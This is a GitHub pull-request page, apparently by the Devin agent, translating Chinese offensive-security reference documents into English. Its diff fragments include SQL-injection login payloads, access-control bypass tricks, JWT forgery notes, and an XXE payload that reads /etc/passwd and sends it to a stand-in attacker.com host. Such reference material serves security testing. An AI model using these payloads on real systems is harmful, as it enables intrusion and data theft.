Repository navigation
feat(reverse-engineer): complete en-US sweep + docs - #23
Merged
Merged
Conversation
- Second translation pass over remaining CJK-bearing references; residual zh limited to bilingual routing keywords, payload command strings, and code-fence labels (intentional) - Repaired upstream-root links (rea/ guides, docs/, kali, ops) - New README section 'Security & Reverse Engineering' entry - New docs: docs/en/reverse-engineer.md + docs/pt-br/reverse-engineer.md - Rebuilt skills/index.json Generated with [Devin](https://devin.ai) Co-Authored-By: Devin <158243242+devin-ai-integration[bot]@users.noreply.github.com>
![github-advanced-security[bot]](https://avatars.githubusercontent.com/in/57789?s=60&v=4){kind=small}
| | Method Restriction | GET blocked → try POST / OPTIONS / `X-HTTP-Method-Override: GET` | | ||
| | Referer Verification | Add `Referer: https://target/admin` | | ||
| | CAPTCHA Brute Force | CAPTCHA Does Not Refresh → Fixed CAPTCHA Brute Force Password | | ||
| | Master Password | `' or '1'='1`, `admin'--`, `admin'#`, `admin"#` | |
| 2. Forge JWT tokens for any user to obtain administrator privileges; | ||
| 3. Lateral movement to supporting components such as Redis, MQ, etc. | ||
|
|
||
| Sample certificate (desensitized): |
| ``` | ||
|
|
||
| 示例： | ||
| Example: |
| **先决条件**：拥有有效注册账号（免费注册） | ||
| **影响范围**：可拖出 users 表 / 读 admin 密码 hash | ||
| **Prerequisite**: Have a valid registered account (free registration) | ||
| **Impact Scope**: Can extract the users table / read admin password hash |
|
|
||
| POST /api/login HTTP/1.1 | ||
| Host: target.com | ||
| Content-Type: application/json | ||
|
|
||
| {"email":"hunter+a@example.com","password":"<已脱敏>"} | ||
| {"email":"hunter+a@example.com","password":"<redacted>"} |
| - `<!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd">` — Parameter entity referencing remote malicious DTD file _command_ | ||
| - `%xxe;` — Expand parameter entity in DTD, load remote DTD _operator_ | ||
| - `<!ENTITY % file SYSTEM "file:///etc/passwd">` — Read local files from the target server in DTD _value_ | ||
| - `http://attacker.com/log?data=%file;` — Exfiltrate file contents via HTTP request parameters _value_ |
| @@ -1,547 +1,472 @@ | |||
| # 内网渗透 | |||
| # Internal Network Penetration | |||
| @@ -1,20 +1,19 @@ | |||
| # RCE远程代码执行 | |||
| # RCE Remote Code Execution | |||
| @@ -1,20 +1,19 @@ | |||
| # RCE远程代码执行 | |||
| # RCE Remote Code Execution | |||
| @@ -1,20 +1,19 @@ | |||
| # RCE远程代码执行 | |||
| # RCE Remote Code Execution | |||
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Summary
Test plan
Generated with Devin